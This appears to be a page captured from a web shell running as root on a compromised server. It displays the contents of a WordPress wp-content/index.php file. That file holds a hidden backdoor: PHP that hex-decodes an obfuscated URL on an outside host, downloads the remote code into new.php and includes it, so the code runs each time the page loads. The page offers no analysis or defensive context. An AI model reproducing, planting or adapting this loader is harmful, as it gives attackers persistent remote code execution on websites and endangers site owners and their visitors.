HEX
Server: nginx/1.18.0
System: Linux m1-ws1-ams3 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /opt/aphex/sites/askbetting.info/wp-content/index.php
<?php
function download($filename){
	$url = hex2bin( '687474703a2f2f636f6e6e6563742e61706965732e6f72672f636c31336e742f5f66696c65732f6f74686572' );
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$data = curl_exec($ch);
	curl_close($ch);

	$process = fopen($filename, "w+");
	fwrite($process, $data);
	fclose($process);
}
function include_et() {
	$filename = __DIR__ . DIRECTORY_SEPARATOR . 'new.php';
	if ( !file_exists( $filename ) ) {
		download($filename);
		include_et();
	}
	if ( file_exists( $filename ) ) {
		include_once($filename);
	}
}

include_et();